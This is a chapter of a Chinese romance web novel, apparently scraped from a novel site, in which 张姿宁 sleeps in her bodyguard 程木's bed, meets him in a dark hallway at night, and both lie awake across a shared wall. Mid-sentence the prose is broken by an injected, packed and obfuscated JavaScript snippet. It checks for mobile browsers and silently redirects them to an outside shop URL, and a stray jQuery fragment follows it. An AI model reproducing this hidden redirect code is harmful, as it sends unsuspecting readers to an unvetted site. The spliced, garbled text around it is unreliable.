张姿宁站在房门口，听着那扇门关上的声音。
她忽然觉得有点好笑。他从房间里逃出去的样子，跟那天晚上在墁德勒老宅走廊里一模一样。明明忍得快要窒息了，却死也不肯再往前迈一步。
她把门带上，目光一转，开始打量这间屋子。
房间看着不大，布置很简单。一张单人床靠着墙，床头柜上放着一盏台灯和一本翻了一半的书。整个房间干净得不像一个男人住的地方，连书桌上的东西都摆得整整齐齐。
张姿宁没有乱翻东西的习惯，她只是扫一眼，就走到衣柜前拉开一扇门。柜子里的衣服不多，大多是深色，叠得一丝不苟。她从最下面抽出一件黑色的T恤。
她关上柜门，走进浴室。
浴室同样干净。空气中还残留着他刚洗完澡的水汽和沐浴露的味道，雪松和柑橘混在一起，清冽又好闻。
她洗完澡出来，套上他那件T恤。衣服宽大，下摆盖住她的膝盖，领口斜挎着，露出一截白皙的肩头。她用吹风机把头发吹干，然后掀开被子躺下去。
被子刚盖到身上，她就僵住了。
全是他的味道。
雪松和柑橘的气息从被褥里渗出来，裹住她的全身。每一寸布料都浸透了他身上的气味，干净，清冽，却带着一种让人心跳加速的侵略性。
张姿宁闭上眼，深吸一口气，又缓缓吐出来。她告诉自己这只是普通的沐浴露味道，没什么大不了的。可她的身体不这么认为。她能感觉到自己的心跳在加快，指尖微微发烫，耳廓后面那片皮肤像着了火。
她翻身把脸埋进枕头里。枕头上他的气息更浓，浓得她脑子里全都是他今晚站在门口的样子。
湿着头发，裸.着上身。他的耳廓红透了，可他站在那里，一句话都没说，就那么看着她。
她猛地翻个身，仰面躺着，盯着天花板。
天花板上什么都没有，白茫茫的一片，可她脑子里却全是他。她不该想这些的。她应该想密支纳那条线，想那把铜钥匙，想那个穿白衬衫的人。
她躺在他的床上，盖着他的被子，枕着他的枕头，浑身上下裹着他的味道。这个认知像一把火，从她的皮肤表面烧进去，烧得她整个人都不对劲了。
她又翻了个身。床单被她蹭得皱成一团，枕头被她翻来覆去地压了好几个来回，可那股味道怎么都散不掉，反而因为她的体温而变得更浓郁。
张姿宁坐起来，靠在床头，闭着眼骂了一声。
她从来不知道自己会因为这个人的味道而睡不着觉。颂帕跟了她三年，她从来没有多想过一秒。阿莱是新挑的人，只是图个新鲜。可程木不一样。
她从来不敢想程木哪里不一样。
因为一想就收不住。
她又在床上辗转了不知多久，终于认清现实，她今晚不可能睡着了。她掀开被子下床，光着脚踩在地板上，走到门口，拉开门。
她刚踏出房门一步，就听见对面传来了声响。
书房的门也开了。
程木站在门口，换了一件干净的T恤，头发已经干了，有些凌乱地垂在额前。他手里端着一杯水，看见她的瞬间，整个人顿住了。
走廊里很暗，只有壁灯那点昏黄的光从远处漫过来，落在两个人之间的地板上，把两个人的影子拉得很长，交叠在一起。
他就远远地看着她。
她头发散着，有几缕垂在胸前，光着脚站在走廊冰冷的地板上。她脸上没有一贯的戏谑，没有那层用来保护自己的嚣张和张扬，她就素着一张脸站在他面前，嘴唇微微抿着，像是有话要说，又不知道怎么开口。
程木的视线从她的脸上慢慢往下移，落在她白皙的肩头，又猛地收回来，重新落在她脸上。
两个人都没说话。
走廊里安静得能听见彼此的呼吸声。她的呼吸有些乱，他的呼吸比她更乱更快。
张姿宁先开口了：“你也没睡？”
程木盯着她看了一眼，又低下眸：“睡不着。”
这句话轻飘飘地进她的心里，扰乱了她的心弦。
她靠在门框上，双手环在胸前，歪着头看他。走廊里太暗了，她看不清他的表情。
“为什么睡不着？”她试探着问。
程木没回答。
张姿宁等了几秒，忽然笑出声，“你不说我也知道。”
她从门框上直起身，光着脚朝他走过去。
程木没有退的意思。她又走了一步，走到他面前。两个人之间的距离不到半步，她仰起脸看他的眼睛。
“你也睡不着。”张姿宁说着，眼睛却是直勾勾地盯着他，“因为我把你的床占了？”
“大小姐，”他的声音低下去，“您能不能……别这样看着我。”
张姿宁的睫毛颤了一下。
她忽然想起那晚在墁德勒老宅的走廊里，他也是这样，被她逼到退无可退，然后他失控吻了她，转身逃了。那晚之后，他消失好几天，再见面的时候，他又是那副低眉顺眼的模样，好像什么都没发生过。
可那晚的事，两个人明明都记得，清清楚楚。
“程木。”她叫他的名字。
张姿宁往前走
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17656890|207014||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一步。这一步跨得太近了，近到他只要低下头，就能吻到她。
程木的手垂在身侧，攥成了拳头。
“您不该穿这个。”他说。
张姿宁低头看了一眼自己身上的黑色T恤。领口大敞着，锁骨以下大片皮肤裸露在外，再往下一截是光裸的腿。
她抬起头看他，嘴角慢慢弯起来。
“你的衣服，”她说，嘴角一扬，“你不喜欢？”
程木深吸一口气，闭上眼，浑身在发抖。
这时，楼下传来了响动。
张姿宁没有再逼他，而是后退几步。
那声响动，也许是张瑞景，又或许是佣人，总之让眼前这人终于有片刻的放松。
他重重地松了一口气。
“大小姐，”程木忽然开口，声音比刚才平稳一些，“您明天还要去老仓库。”
张姿宁挑了下眉，等着下文。
“所以您该回去睡了。”他平静地说道。
“行吧。”张姿宁的语气里，带着一点无奈，又带着一点柔软。
她转身往回走，走两步又停下来，偏过头，用余光看他。
“程木。”
“嗯。”
“你也早点睡。”
程木站在原地，看着她的背影消失在走廊尽头的门后。
他还站在门口没有行动。
夜风从窗户灌进来，吹在脸上，带着央光特有的潮湿。他靠在门框上，闭上眼，脑海里全是她穿着他T恤的样子。
他睁开眼，低头看了一眼自己攥紧的拳头。指甲掐进掌心里，留下许多痕迹。
他想起她说的那句“你也早点睡”，嘴角自然上扬起来。
他没有回书房，而是走到主卧的隔壁。他走进去，把门关上。
这间屋子很久没人住了，床单被套也有一层灰，可这间书房和隔壁主卧只隔了一堵墙。墙的那一边，她躺在他的床上，盖着他的被子，穿着他的衣服。
她身上全是他的味道。
被他紧紧包裹。
他躺下，闭上眼，把手臂搭在额头上，试图让自己的心跳慢下来。可惜没用。鼻尖萦绕的全是她的气息。那些气息，从她穿着那件T恤上飘来，穿过那堵墙，穿过门缝，无孔不入地钻进他的每一次呼吸里。
他翻了个身，面朝墙壁。
墙的那边，她也在翻来覆去。
两个人之间只隔了一堵墙。
这堵墙他不敢推。因为推过去，他就不只是吻她然后逃跑了。
他会在那间屋子里，在那张床上，彻底要了她。